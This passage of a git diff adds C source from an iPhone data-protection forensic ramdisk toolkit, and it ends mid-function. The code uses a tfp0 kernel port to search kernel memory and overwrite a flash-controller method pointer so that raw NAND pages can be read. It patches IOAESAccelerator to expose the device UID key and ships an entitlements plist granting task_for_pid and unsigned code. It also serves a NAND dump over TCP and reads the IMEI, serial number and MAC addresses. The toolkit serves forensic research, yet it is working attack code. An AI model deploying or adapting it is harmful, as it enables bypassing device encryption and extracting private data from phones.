||||
};//sizeof = 0x1C
|
||||
|
||||
//sizeof=0x8
|
||||
struct kIOFlashControllerOut
|
||||
{
|
||||
uint32_t ret1;
|
||||
uint32_t ret2;
|
||||
};
|
||||
|
||||
//sizeof=0x50 AppleIOPFMIDMACommand?
|
||||
struct IOFlashCommandStruct
|
||||
{
|
||||
uint32_t flags0;
|
||||
uint32_t flags1;
|
||||
uint32_t field8;
|
||||
uint32_t fieldC;
|
||||
uint32_t* page_ptr;
|
||||
void* bufferDesc;//IOMemoryDescriptor*
|
||||
uint32_t field18;
|
||||
uint32_t field1C;
|
||||
uint32_t field20;
|
||||
uint32_t* ce_ptr;
|
||||
void* spareVA;
|
||||
uint32_t spareSize;
|
||||
uint32_t field30;
|
||||
uint32_t field34;
|
||||
uint32_t field38;
|
||||
uint32_t errorCode;
|
||||
uint32_t field40;
|
||||
uint32_t field44;
|
||||
uint32_t field48;
|
||||
uint32_t field4C;
|
||||
};
|
||||
|
||||
typedef struct IOExternalMethodArguments
|
||||
{
|
||||
uint32_t version;
|
||||
|
||||
uint32_t selector;
|
||||
|
||||
mach_port_t asyncWakePort;
|
||||
io_user_reference_t * asyncReference;
|
||||
uint32_t asyncReferenceCount;
|
||||
|
||||
const uint64_t * scalarInput;
|
||||
uint32_t scalarInputCount;
|
||||
|
||||
const void * structureInput;
|
||||
uint32_t structureInputSize;
|
||||
|
||||
//IOMemoryDescriptor * structureInputDescriptor;
|
||||
void * structureInputDescriptor;
|
||||
|
||||
uint64_t * scalarOutput;
|
||||
uint32_t scalarOutputCount;
|
||||
|
||||
void * structureOutput;
|
||||
uint32_t structureOutputSize;
|
||||
|
||||
void * structureOutputDescriptor;
|
||||
uint32_t structureOutputDescriptorSize;
|
||||
|
||||
uint32_t __reservedA;
|
||||
|
||||
//OSObject ** structureVariableOutputData;
|
||||
void ** structureVariableOutputData;
|
||||
|
||||
uint32_t __reserved[30];
|
||||
} IOExternalMethodArguments;
|
||||
|
||||
typedef struct proxy_read_cmd
|
||||
{
|
||||
uint32_t ce;
|
||||
uint32_t page;
|
||||
uint32_t spareSize;
|
||||
uint32_t options;
|
||||
} proxy_read_cmd;
|
||||
@@ -0,0 +1,220 @@
|
||||
#include <stdio.h>
|
||||
#include <unistd.h>
|
||||
#include <CoreFoundation/CoreFoundation.h>
|
||||
#include <sys/types.h>
|
||||
#include <sys/sysctl.h>
|
||||
#include <mach/mach.h>
|
||||
#include <signal.h>
|
||||
#include "ioflash.h"
|
||||
|
||||
CF_EXPORT const CFStringRef _kCFSystemVersionProductVersionKey;
|
||||
CF_EXPORT CFDictionaryRef _CFCopySystemVersionDictionary(void);
|
||||
|
||||
mach_port_t kernel_task=0;
|
||||
|
||||
void* externalMethod_original = NULL;
|
||||
void** externalMethod_ptr = NULL;
|
||||
|
||||
|
||||
void* (*IOMemoryDescriptor__withAddress)(void*, uint32_t, uint32_t, uint32_t) = 0x0;
|
||||
|
||||
typedef int (*methodptr)(void*, ...);
|
||||
|
||||
#define CALL_VTABLE(this, vtableoff, ...) \
|
||||
((methodptr) (*(uint32_t**)this)[vtableoff/4]) (this, ##__VA_ARGS__)
|
||||
|
||||
//IOReturn externalMethod( uint32_t selector, IOExternalMethodArguments * arguments,IOExternalMethodDispatch * dispatch = 0, OSObject * target = 0, void * reference = 0 );
|
||||
int myIOFlashStorage_externalMethod(uint32_t* this, uint32_t selector, IOExternalMethodArguments* arguments)
|
||||
{
|
||||
if (selector == kIOFlashControllerDisableKeepout)
|
||||
{
|
||||
void* obj2 = (void*) this[0x78/4]; //AppleIOPFMI object
|
||||
CALL_VTABLE(obj2, 0x35C, 0, 0, 1);
|
||||
return 0x0;
|
||||
}
|
||||
if (selector != kIOFlashControllerReadPage) //only support read
|
||||
return 0xE00002C2;
|
||||
|
||||
if (IOMemoryDescriptor__withAddress == 0x0)
|
||||
return 0xdeadbeef;
|
||||
|
||||
struct IOFlashCommandStruct command = {0};
|
||||
uint32_t** bufferDesc = NULL;
|
||||
uint32_t** spareDesc = NULL;
|
||||
uint32_t** md = NULL;
|
||||
|
||||
void* obj1 = (void*) this[0x78/4]; //AppleIOPFMI object
|
||||
|
||||
struct kIOFlashControllerReadPageIn* in = (struct kIOFlashControllerReadPageIn*) arguments->structureInput;
|
||||
struct kIOFlashControllerOut* out = (struct kIOFlashControllerOut*) arguments->structureOutput;
|
||||
|
||||
uint32_t page = in->page;
|
||||
uint32_t ce = in->ce;
|
||||
|
||||
command.flags1 = 1;
|
||||
if (in->options & kIOFlashStorageOptionBootPageIO)
|
||||
{
|
||||
if(in->spare != NULL)
|
||||
return 0xE00002C2; //spare buffer is not used with bootloader page I/O
|
||||
command.flags0 = 9;
|
||||
}
|
||||
else
|
||||
{
|
||||
if( !(in->options & kIOFlashStorageOptionRawPageIO) && in->spare)
|
||||
{
|
||||
command.flags0 = in->options & 2;
|
||||
}
|
||||
else
|
||||
{
|
||||
return 0xdeadbeef; //raw page io
|
||||
}
|
||||
}
|
||||
command.flags1 |= in->options & 4;
|
||||
command.field8 = 1;
|
||||
command.fieldC = 0;
|
||||
command.page_ptr = &page;
|
||||
|
||||
|
||||
bufferDesc = IOMemoryDescriptor__withAddress(in->buffer, in->bufferSize, 1, this[0x7C/4]);
|
||||
if (bufferDesc == NULL)
|
||||
return 0xE00002C2;
|
||||
|
||||
command.bufferDesc = bufferDesc;
|
||||
command.field18 = 0;
|
||||
command.errorCode = 0;
|
||||
|
||||
if (in->spare != NULL)
|
||||
{
|
||||
spareDesc = IOMemoryDescriptor__withAddress(in->spare, in-> spareSize, 1, this[0x7C/4]);
|
||||
if (spareDesc == NULL)
|
||||
return 0xE00002C2;
|
||||
|
||||
//0xAC -> desc2 __ZN25IOGeneralMemoryDescriptor5doMapEP7_vm_mapPjmmm
|
||||
//virtual IOMemoryMap * map( IOOptionBits options = 0 );
|
||||
md = (void*) CALL_VTABLE(spareDesc, 0x98); //IOGeneralMemoryDescriptor_map
|
||||
|
||||
command.spareSize = in->spareSize;
|
||||
command.spareVA = (void*) CALL_VTABLE(md, 0x38);
|
||||
}
|
||||
else
|
||||
{
|
||||
command.spareSize = 0;
|
||||
command.spareVA = NULL;
|
||||
}
|
||||
command.field34 = 0;
|
||||
command.ce_ptr = &ce;
|
||||
|
||||
out->ret1 = CALL_VTABLE(obj1, 0x344, 0, &command);
|
||||
|
||||
CALL_VTABLE(bufferDesc, 0x14); //IOGeneralMemoryDescriptor_release
|
||||
|
||||
if (md != NULL)
|
||||
{
|
||||
CALL_VTABLE(md, 0x14); //IOGeneralMemoryDescriptor_release
|
||||
}
|
||||
if (spareDesc != NULL)
|
||||
{
|
||||
CALL_VTABLE(spareDesc, 0x14); //IOGeneralMemoryDescriptor_release
|
||||
}
|
||||
out->ret2 = command.errorCode;
|
||||
return 0;
|
||||
}
|
||||
|
||||
kern_return_t write_kernel(mach_port_t p, void* addr, uint32_t value)
|
||||
{
|
||||
kern_return_t r = vm_write(p, (vm_address_t)addr, (vm_address_t)&value, sizeof(value ));
|
||||
if (r)
|
||||
fprintf(stderr, "vm_write into kernel_task failed\n");
|
||||
else
|
||||
fprintf(stderr, "vm_write into kernel_task OK\n");
|
||||
return r;
|
||||
}
|
||||
|
||||
void __attribute__((destructor)) restore_handler()
|
||||
{
|
||||
if (kernel_task != 0 && externalMethod_ptr != NULL && externalMethod_original != NULL)
|
||||
{
|
||||
fprintf(stderr, "Restoring IOFlashStorageControler::externalMethod ptr\n");
|
||||
write_kernel(kernel_task, externalMethod_ptr, (uint32_t) externalMethod_original+1);
|
||||
}
|
||||
}
|
||||
|
||||
void signal_handler(int sig)
|
||||
{
|
||||
restore_handler();
|
||||
signal(sig, SIG_DFL);
|
||||
raise(sig);
|
||||
}
|
||||
|
||||
int IOFlashStorage_kernel_patch()
|
||||
{
|
||||
CFStringRef version = NULL;
|
||||
CFDictionaryRef versionDict = _CFCopySystemVersionDictionary();
|
||||
|
||||
if (versionDict != NULL)
|
||||
{
|
||||
version = CFDictionaryGetValue(versionDict, _kCFSystemVersionProductVersionKey);
|
||||
}
|
||||
if (version == NULL)
|
||||
{
|
||||
fprintf(stderr, "FAILed to get current version\n");
|
||||
return 0;
|
||||
}
|
||||
if (CFStringCompare(version, CFSTR("4.3.5"), 0) <= 0)
|
||||
{
|
||||
fprintf(stderr, "iOS 4 kernel detected, no kernel patching required\n");
|
||||
return 1;
|
||||
}
|
||||
fprintf(stderr, "iOS 5 kernel detected, replacing IOFlashControlerUserClient::externalMethod\n");
|
||||
|
||||
kern_return_t r = task_for_pid(mach_task_self(), 0, &kernel_task);
|
||||
|
||||
if( r != 0)
|
||||
{
|
||||
fprintf(stderr, "task_for_pid returned %x : missing tfp0 kernel patch (use latest kernel_patcher.py) or wrong entitlements\n", r);
|
||||
return 0;
|
||||
}
|
||||
uint32_t i;
|
||||
pointer_t buf;
|
||||
unsigned int sz;
|
||||
|
||||
vm_address_t addr = 0x80002000;
|
||||
|
||||
while( addr < (0x80002000 + 0xA00000))
|
||||
{
|
||||
vm_read(kernel_task, addr, 2048, &buf, &sz);
|
||||
if( buf == NULL || sz == 0)
|
||||
continue;
|
||||
|
||||
uint32_t* p = (uint32_t*) buf;
|
||||
|
||||
for(i=0; i < sz/sizeof(uint32_t); i++)
|
||||
{
|
||||
if (externalMethod_original != NULL)
|
||||
{
|
||||
if (p[i] == (externalMethod_original+1))
|
||||
{
|
||||
externalMethod_ptr = (void*) (addr + i*4);
|
||||
fprintf(stderr, "Found externalMethod ptr at %x\n", (uint32_t) externalMethod_ptr);
|
||||
write_kernel(kernel_task, externalMethod_ptr, (uint32_t) myIOFlashStorage_externalMethod);
|
||||
|
||||
signal(SIGINT, signal_handler);//handle ctrl+c
|
||||
return 1;
|
||||
}
|
||||
else if(IOMemoryDescriptor__withAddress == NULL && !memcmp(&p[i], "\x20\x46\x26\xB0\x5D\xF8\x04\x8B\xF0\xBD", 10))
|
||||
{
|
||||
IOMemoryDescriptor__withAddress = (void*) p[i+5];
|
||||
fprintf(stderr, "IOMemoryDescriptor__withAddress=%x\n", (uint32_t) IOMemoryDescriptor__withAddress);
|
||||
}
|
||||
}
|
||||
else if(!memcmp(&p[i], "\xF0\xB5\x03\xAF\x4D\xF8\x04\x8D\xA6\xB0\x40\xF2\xC2\x24\x13\x6A", 16))
|
||||
{
|
||||
externalMethod_original = (void*) (addr + i*4);
|
||||
fprintf(stderr, "Found IOFlashControlerUserClient::externalMethod at %x\n", (uint32_t) externalMethod_original);
|
||||
}
|
||||
}
|
||||
addr += 2048;
|
||||
}
|
||||
fprintf(stderr, "Kernel patching failed\n");
|
||||
return 0;
|
||||
}
|
||||
@@ -0,0 +1,59 @@
|
||||
#include <stdio.h>
|
||||
#include <sys/socket.h>
|
||||
#include <CoreFoundation/CoreFoundation.h>
|
||||
#include "ioflash.h"
|
||||
#include "../util.h"
|
||||
|
||||
#define LISTEN_PORT 2000
|
||||
|
||||
#define CMD_DUMP 0
|
||||
#define CMD_PROXY 1
|
||||
|
||||
int main(int argc, char* argv[])
|
||||
{
|
||||
int one=1;
|
||||
int cmd=0;
|
||||
|
||||
if(!IOFlashStorage_kernel_patch())
|
||||
return -1;
|
||||
|
||||
CFMutableDictionaryRef dict = FSDGetInfo(1);
|
||||
if(dict == NULL)
|
||||
{
|
||||
fprintf(stderr, "FAILed to get NAND infos");
|
||||
return -1;
|
||||
}
|
||||
|
||||
check_special_pages();
|
||||
|
||||
int sl = create_listening_socket(LISTEN_PORT);
|
||||
if(sl == -1)
|
||||
{
|
||||
fprintf(stderr, "Error calling create_listening_socket\n");
|
||||
return -1;
|
||||
}
|
||||
|
||||
fprintf(stderr, "NAND dumper listening on port %d\n", LISTEN_PORT);
|
||||
|
||||
while(1)
|
||||
{
|
||||
int s = accept(sl, NULL, NULL);
|
||||
setsockopt(s, SOL_SOCKET, SO_NOSIGPIPE, (void *)&one, sizeof(int));
|
||||
|
||||
int r = read(s, (void*) &cmd, sizeof(int));
|
||||
if(r == sizeof(int))
|
||||
{
|
||||
if(cmd == CMD_DUMP)
|
||||
{
|
||||
nand_dump(s);
|
||||
}
|
||||
else if(cmd == CMD_PROXY)
|
||||
{
|
||||
nand_proxy(s);
|
||||
}
|
||||
}
|
||||
shutdown(s, SHUT_RDWR);
|
||||
close(s);
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
@@ -0,0 +1,72 @@
|
||||
#include <stdio.h>
|
||||
#include <unistd.h>
|
||||
#include <CoreFoundation/CoreFoundation.h>
|
||||
#include <sys/types.h>
|
||||
#include <sys/sysctl.h>
|
||||
#include <mach/mach.h>
|
||||
|
||||
mach_port_t kernel_task=0;
|
||||
|
||||
kern_return_t write_kernel(mach_port_t p, void* addr, uint32_t value)
|
||||
{
|
||||
pointer_t buf;
|
||||
unsigned int sz;
|
||||
|
||||
kern_return_t r = vm_write(p, (vm_address_t)addr, (vm_address_t)&value, sizeof(value));
|
||||
if (r)
|
||||
{
|
||||
fprintf(stderr, "vm_write into kernel_task failed\n");
|
||||
}
|
||||
else
|
||||
{
|
||||
//fix cache issue
|
||||
vm_read(p, (vm_address_t) addr, sizeof(value), &buf, &sz);
|
||||
fprintf(stderr, "vm_write into kernel_task OK %x\n", *((uint32_t*) buf));
|
||||
}
|
||||
return r;
|
||||
}
|
||||
|
||||
int patch_IOAESAccelerator()
|
||||
{
|
||||
kern_return_t r = task_for_pid(mach_task_self(), 0, &kernel_task);
|
||||
|
||||
if( r != 0)
|
||||
{
|
||||
fprintf(stderr, "task_for_pid returned %x : missing tfp0 kernel patch or wrong entitlements\n", r);
|
||||
return 0;
|
||||
}
|
||||
uint32_t i;
|
||||
pointer_t buf;
|
||||
unsigned int sz;
|
||||
|
||||
vm_address_t addr = 0x80002000;
|
||||
|
||||
while( addr < (0x80002000 + 0xA00000))
|
||||
{
|
||||
vm_read(kernel_task, addr, 2048, &buf, &sz);
|
||||
if( buf == NULL || sz == 0)
|
||||
continue;
|
||||
uint8_t* p = (uint8_t*) buf;
|
||||
|
||||
for(i=0; i < sz; i++)
|
||||
{
|
||||
//"IOAESAccelerator enable UID" : (h("67 D0 40 F6"), h("00 20 40 F6")),
|
||||
if (*((uint32_t*)&p[i]) == 0xF640d067)
|
||||
{
|
||||
fprintf(stderr, "Found IOAESAccelerator UID ptr at %x, patching kernel\n", (uint32_t) addr + i);
|
||||
write_kernel(kernel_task, (void*) (addr + i), (uint32_t) 0xF6402000);
|
||||
return 0;
|
||||
}
|
||||
}
|
||||
addr += 2048;
|
||||
}
|
||||
fprintf(stderr, "IOAESAccelerator Kernel patching failed\n");
|
||||
return -1;
|
||||
}
|
||||
|
||||
/*
|
||||
int main(int argc, char** argv)
|
||||
{
|
||||
return patch_IOAESAccelerator();
|
||||
}
|
||||
*/
|
||||
@@ -0,0 +1,14 @@
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
|
||||
<plist version="1.0">
|
||||
<dict>
|
||||
<key>com.apple.keystore.device</key>
|
||||
<true/>
|
||||
<key>get-task-allow</key>
|
||||
<true/>
|
||||
<key>run-unsigned-code</key>
|
||||
<true/>
|
||||
<key>task_for_pid-allow</key>
|
||||
<true/>
|
||||
</dict>
|
||||
</plist>
|
||||
@@ -0,0 +1,159 @@
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <netinet/in.h>
|
||||
#include <sys/socket.h>
|
||||
#include <signal.h>
|
||||
#include <unistd.h>
|
||||
#include <CoreFoundation/CoreFoundation.h>
|
||||
#include "plist_server.h"
|
||||
#include "util.h"
|
||||
|
||||
#define TCP_PORT 1999
|
||||
|
||||
int send_progress_message(int socket, int progress, int total)
|
||||
{
|
||||
const void* keys[3] = {CFSTR("MessageType"), CFSTR("Progress"), CFSTR("Total")};
|
||||
const void* values[3] = {CFSTR("Progress"), NULL, NULL};
|
||||
|
||||
CFNumberRef number = CFNumberCreate(kCFAllocatorDefault, kCFNumberIntType, &progress);
|
||||
CFNumberRef number2 = CFNumberCreate(kCFAllocatorDefault, kCFNumberIntType, &total);
|
||||
values[1] = number;
|
||||
values[2] = number2;
|
||||
CFDictionaryRef msg = CFDictionaryCreate(kCFAllocatorDefault, keys, values, 3, &kCFTypeDictionaryKeyCallBacks, &kCFTypeDictionaryValueCallBacks);
|
||||
CFRelease(number);
|
||||
CFRelease(number2);
|
||||
int res = send_object(socket, msg);
|
||||
CFRelease(msg);
|
||||
return res;
|
||||
}
|
||||
|
||||
int send_object(int socket, CFTypeRef obj)
|
||||
{
|
||||
uint32_t len = 0;
|
||||
int res = -1;
|
||||
|
||||
if(obj == NULL)
|
||||
return res;
|
||||
|
||||
CFDataRef outdata = CFPropertyListCreateData(kCFAllocatorDefault, obj, kCFPropertyListXMLFormat_v1_0, 0, NULL);
|
||||
if (outdata != NULL)
|
||||
{
|
||||
len = CFDataGetLength(outdata);
|
||||
write(socket, &len, 4);
|
||||
res = write(socket, CFDataGetBytePtr(outdata), CFDataGetLength(outdata));
|
||||
CFRelease(outdata);
|
||||
}
|
||||
return res;
|
||||
}
|
||||
|
||||
int handle_client(int socket, CFDictionaryRef handlers)
|
||||
{
|
||||
uint32_t len=0;
|
||||
uint32_t received,i;
|
||||
CFDataRef data;
|
||||
CFDictionaryRef plist;
|
||||
CFTypeRef out = NULL;
|
||||
uint8_t* buffer;
|
||||
CFTypeRef (*handler)(int, CFDictionaryRef dict) = NULL;
|
||||
|
||||
while(1)
|
||||
{
|
||||
if(recv(socket, &len, 4, 0) != 4)
|
||||
break;
|
||||
//printf("len=%x\n", len);
|
||||
|
||||
if (len > PLIST_MAX_SIZE)
|
||||
break;
|
||||
|
||||
buffer = malloc(len);
|
||||
|
||||
if(buffer == NULL)
|
||||
break;
|
||||
|
||||
for(i=0; i < len; )
|
||||
{
|
||||
received = recv(socket, &buffer[i], len - i, 0);
|
||||
if (received == -1)
|
||||
break;
|
||||
i += received;
|
||||
}
|
||||
|
||||
data = CFDataCreateWithBytesNoCopy(kCFAllocatorDefault, buffer, len, kCFAllocatorNull);
|
||||
|
||||
if(data == NULL)
|
||||
{
|
||||
free(buffer);
|
||||
continue;
|
||||
}
|
||||
|
||||
plist = (CFDictionaryRef) CFPropertyListCreateWithData (kCFAllocatorDefault, data, kCFPropertyListImmutable, NULL, NULL);
|
||||
|
||||
if(plist == NULL || CFGetTypeID(plist) != CFDictionaryGetTypeID())
|
||||
{
|
||||
CFRelease(data);
|
||||
free(buffer);
|
||||
send_object(socket, CFSTR("invalid XML plist dictionary"));
|
||||
continue;
|
||||
}
|
||||
|
||||
if (CFDictionaryContainsKey(plist, CFSTR("Request")))
|
||||
{
|
||||
CFStringRef request = CFDictionaryGetValue(plist, CFSTR("Request"));
|
||||
|
||||
handler = CFDictionaryGetValue(handlers, request);
|
||||
|
||||
if (handler != NULL)
|
||||
{
|
||||
out = handler(socket, plist);
|
||||
if (out == NULL)
|
||||
out = CFSTR("Request did not return any result");
|
||||
}
|
||||
else
|
||||
{
|
||||
out = CFSTR("No handler defined for Request");
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
out = CFSTR("request dictionary needs to contain Request key");
|
||||
}
|
||||
|
||||
if(out == NULL)
|
||||
out = CFSTR("no response");
|
||||
|
||||
send_object(socket, out);
|
||||
CFRelease(out);
|
||||
|
||||
CFRelease(plist);
|
||||
CFRelease(data);
|
||||
free(buffer);
|
||||
}
|
||||
send_object(socket, CFSTR("kthxbye"));
|
||||
return 0;
|
||||
}
|
||||
|
||||
void serve_plist_rpc(int port, CFDictionaryRef handlers)
|
||||
{
|
||||
int quit = 0;
|
||||
int one=1;
|
||||
printf("plist_rpc: listening on port %d\n", port);
|
||||
int sl = create_listening_socket(port);
|
||||
|
||||
while(!quit)
|
||||
{
|
||||
int s = accept(sl, NULL, NULL);
|
||||
setsockopt(s, SOL_SOCKET, SO_NOSIGPIPE, (void *)&one, sizeof(int));
|
||||
|
||||
handle_client(s, handlers);
|
||||
shutdown(s, SHUT_RDWR);
|
||||
close(s);
|
||||
}
|
||||
close(sl);
|
||||
}
|
||||
|
||||
CFStringRef testHandler(int s, CFDictionaryRef dict)
|
||||
{
|
||||
printf("lol\n");
|
||||
return CFSTR("Hello, World!");
|
||||
}
|
||||
|
||||
@@ -0,0 +1,6 @@
|
||||
#define PLIST_MAX_SIZE 50*1024*1024
|
||||
|
||||
int create_listening_socket(int port);
|
||||
int send_progress_message(int socket, int progress, int total);
|
||||
int send_object(int socket, CFTypeRef obj);
|
||||
void serve_plist_rpc(int port, CFDictionaryRef handlers);
|
||||
423
dump-imessages/iphone-dataprotection/ramdisk_tools/registry.c
Normal file
423
dump-imessages/iphone-dataprotection/ramdisk_tools/registry.c
Normal file
@@ -0,0 +1,423 @@
|
||||
/**
|
||||
https://github.com/Gojohnnyboi/restored_pwn
|
||||
**/
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <unistd.h>
|
||||
#include <errno.h>
|
||||
#include <sys/sysctl.h>
|
||||
#include <sys/mman.h>
|
||||
#include <CoreFoundation/CoreFoundation.h>
|
||||
#include <IOKit/IOKitLib.h>
|
||||
#include <CommonCrypto/CommonDigest.h>
|
||||
#include "util.h"
|
||||
|
||||
//from libmobilegestalt.dylib
|
||||
CFDataRef copyDataFromChosen(CFStringRef key)
|
||||
{
|
||||
io_registry_entry_t chosen = IORegistryEntryFromPath(kIOMasterPortDefault, "IODeviceTree:/chosen");
|
||||
if (chosen)
|
||||
{
|
||||
CFDataRef res = IORegistryEntryCreateCFProperty(chosen, key, kCFAllocatorDefault, 0);
|
||||
IOObjectRelease(chosen);
|
||||
return res;
|
||||
}
|
||||
return NULL;
|
||||
}
|
||||
CFStringRef copyStringFromChosen(CFStringRef key)
|
||||
{
|
||||
CFStringRef s = NULL;
|
||||
CFDataRef data = copyDataFromChosen(key);
|
||||
if(data == NULL)
|
||||
return NULL;
|
||||
|
||||
if(CFGetTypeID(data) == CFDataGetTypeID())
|
||||
{
|
||||
s = CFStringCreateWithCString(kCFAllocatorDefault, (const char*) CFDataGetBytePtr(data), kCFStringEncodingUTF8);
|
||||
}
|
||||
CFRelease(data);
|
||||
return s;
|
||||
}
|
||||
|
||||
CFNumberRef copyNumberFromChosen(CFStringRef key)
|
||||
{
|
||||
CFNumberRef num = NULL;
|
||||
CFDataRef data = copyDataFromChosen(key);
|
||||
|
||||
if(data == NULL)
|
||||
return NULL;
|
||||
if(CFGetTypeID(data) == CFDataGetTypeID())
|
||||
{
|
||||
int len = CFDataGetLength(data);
|
||||
|
||||
num = CFNumberCreate(kCFAllocatorDefault,
|
||||
len == 4 ? kCFNumberSInt32Type : kCFNumberSInt64Type,
|
||||
CFDataGetBytePtr(data)
|
||||
);
|
||||
}
|
||||
CFRelease(data);
|
||||
return num;
|
||||
}
|
||||
|
||||
io_service_t get_io_service(const char *name) {
|
||||
CFMutableDictionaryRef matching;
|
||||
io_service_t service = 0;
|
||||
|
||||
matching = IOServiceMatching(name);
|
||||
if(matching == NULL) {
|
||||
printf("unable to create matching dictionary for class '%s'\n", name);
|
||||
return 0;
|
||||
}
|
||||
|
||||
while(!service) {
|
||||
CFRetain(matching);
|
||||
service = IOServiceGetMatchingService(kIOMasterPortDefault, matching);
|
||||
if(service) break;
|
||||
|
||||
printf("waiting for matching IOKit service: %s\n", name);
|
||||
sleep(1);
|
||||
CFRelease(matching);
|
||||
}
|
||||
|
||||
CFRelease(matching);
|
||||
|
||||
return service;
|
||||
}
|
||||
|
||||
CFStringRef copy_device_imei() {
|
||||
CFMutableDictionaryRef matching;
|
||||
io_service_t service;
|
||||
CFDataRef imeiData;
|
||||
const void *imeiDataPtr;
|
||||
CFStringRef imeiString;
|
||||
|
||||
matching = IOServiceNameMatching("baseband");
|
||||
service = IOServiceGetMatchingService(kIOMasterPortDefault, matching);
|
||||
|
||||
if(!service) {
|
||||
return NULL;
|
||||
}
|
||||
|
||||
imeiData = IORegistryEntryCreateCFProperty(service, CFSTR("device-imei"), kCFAllocatorDefault, 0);
|
||||
if(!imeiData) {
|
||||
printf("unable to find device-imei property\n");
|
||||
IOObjectRelease(service);
|
||||
return NULL;
|
||||
}
|
||||
|
||||
imeiDataPtr = CFDataGetBytePtr(imeiData);
|
||||
imeiString = CFStringCreateWithCString(kCFAllocatorDefault, imeiDataPtr, kCFStringEncodingUTF8);
|
||||
|
||||
CFRelease(imeiData);
|
||||
IOObjectRelease(service);
|
||||
|
||||
return imeiString;
|
||||
}
|
||||
|
||||
CFStringRef copy_device_serial_number() {
|
||||
io_service_t service;
|
||||
CFStringRef serialNumber;
|
||||
|
||||
service = get_io_service("IOPlatformExpertDevice");
|
||||
if(!service) {
|
||||
printf("unable to find IOPlatformExpertDevice service\n");
|
||||
return NULL;
|
||||
}
|
||||
|
||||
serialNumber = IORegistryEntryCreateCFProperty(service, CFSTR("IOPlatformSerialNumber"), kCFAllocatorDefault, 0);
|
||||
IOObjectRelease(service);
|
||||
|
||||
return serialNumber;
|
||||
}
|
||||
|
||||
CFStringRef copy_devicetree_option(CFStringRef key) {
|
||||
io_registry_entry_t entry;
|
||||
CFStringRef option;
|
||||
|
||||
entry = IORegistryEntryFromPath(kIOMasterPortDefault, "IODeviceTree:/options");
|
||||
if(!entry) {
|
||||
printf("unable to get registry entry for IODeviceTree:/options\n");
|
||||
return NULL;
|
||||
}
|
||||
|
||||
option = IORegistryEntryCreateCFProperty(entry, key, kCFAllocatorDefault, 0);
|
||||
IOObjectRelease(entry);
|
||||
|
||||
return option;
|
||||
}
|
||||
|
||||
CFStringRef copy_hardware_model() {
|
||||
size_t buflen = 0x80;
|
||||
char buf[buflen];
|
||||
CFStringRef model;
|
||||
|
||||
if(sysctlbyname("hw.model", buf, &buflen, NULL, 0) != 0) {
|
||||
printf("sysctlbyname for hw.model failed: %s\n", strerror(errno));
|
||||
return NULL;
|
||||
}
|
||||
|
||||
model = CFStringCreateWithCString(kCFAllocatorDefault, buf, kCFStringEncodingUTF8);
|
||||
|
||||
return model;
|
||||
}
|
||||
|
||||
CFStringRef copy_hardware_platform() {
|
||||
io_service_t service;
|
||||
CFStringRef platform;
|
||||
char *platformPtr;
|
||||
|
||||
service = get_io_service("IOPlatformExpertDevice");
|
||||
if(!service) {
|
||||
printf("unable to find IOPlatformExpertDevice service\n");
|
||||
return NULL;
|
||||
}
|
||||
|
||||
platform= IORegistryEntryCreateCFProperty(service, CFSTR("platform-name"), kCFAllocatorDefault, 0);
|
||||
if(platform == NULL) {
|
||||
printf("platform-name not found in device tree\n");
|
||||
IOObjectRelease(service);
|
||||
return NULL;
|
||||
}
|
||||
|
||||
platformPtr = calloc(1, CFStringGetLength(platform)+1);
|
||||
if(!CFStringGetCString(platform, platformPtr, CFStringGetLength(platform)+1, kCFStringEncodingUTF8)) {
|
||||
printf("unable to obtain platform-name string\n");
|
||||
IOObjectRelease(service);
|
||||
return NULL;
|
||||
}
|
||||
|
||||
printf("platform-name = %s\n", platformPtr);
|
||||
free(platformPtr);
|
||||
|
||||
return platform;
|
||||
}
|
||||
|
||||
CFStringRef copy_bluetooth_mac_address() {
|
||||
io_service_t service;
|
||||
CFDataRef macaddrData;
|
||||
CFStringRef macaddr;
|
||||
unsigned char macaddrBytes[6];
|
||||
|
||||
service = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceNameMatching("bluetooth"));
|
||||
if(!service) {
|
||||
printf("unable to find bluetooth service\n");
|
||||
return NULL;
|
||||
}
|
||||
|
||||
macaddrData= IORegistryEntryCreateCFProperty(service, CFSTR("local-mac-address"), kCFAllocatorDefault, 0);
|
||||
if(macaddrData == NULL) {
|
||||
printf("bluetooth local-mac-address not found\n");
|
||||
IOObjectRelease(service);
|
||||
return NULL;
|
||||
}
|
||||
CFDataGetBytes(macaddrData, CFRangeMake(0,6), macaddrBytes);
|
||||
|
||||
macaddr = CFStringCreateWithFormat(kCFAllocatorDefault,
|
||||
NULL,
|
||||
CFSTR("%02x:%02x:%02x:%02x:%02x:%02x"),
|
||||
macaddrBytes[0],
|
||||
macaddrBytes[1],
|
||||
macaddrBytes[2],
|
||||
macaddrBytes[3],
|
||||
macaddrBytes[4],
|
||||
macaddrBytes[5]);
|
||||
|
||||
return macaddr;
|
||||
}
|
||||
|
||||
void search_wifi_mac_callback(void** context, io_iterator_t iterator) {
|
||||
unsigned char macaddrBytes[6];
|
||||
io_iterator_t iterator2=0;
|
||||
io_object_t obj2=0;
|
||||
io_name_t name;
|
||||
CFDataRef t1=0;
|
||||
io_object_t next;
|
||||
|
||||
while ((next = IOIteratorNext(iterator)) != 0)
|
||||
{
|
||||
if (!IORegistryEntryCreateIterator(next, "IOService", 3, &iterator2))
|
||||
{
|
||||
while((obj2 = IOIteratorNext(iterator2)) != 0)
|
||||
{
|
||||
if (!IORegistryEntryGetName(obj2,name))
|
||||
{
|
||||
if (!strcmp(name, "sdio") || !strcmp(name, "wlan"))
|
||||
{
|
||||
if((t1 = IORegistryEntryCreateCFProperty(obj2, CFSTR("local-mac-address"), kCFAllocatorDefault, 0)) != 0)
|
||||
{
|
||||
CFDataGetBytes(t1, CFRangeMake(0,6), macaddrBytes);
|
||||
*context = (void*) CFStringCreateWithFormat(kCFAllocatorDefault,
|
||||
NULL,
|
||||
CFSTR("%02x:%02x:%02x:%02x:%02x:%02x"),
|
||||
macaddrBytes[0],
|
||||
macaddrBytes[1],
|
||||
macaddrBytes[2],
|
||||
macaddrBytes[3],
|
||||
macaddrBytes[4],
|
||||
macaddrBytes[5]);
|
||||
CFRelease(t1);
|
||||
}
|
||||
}
|
||||
}
|
||||
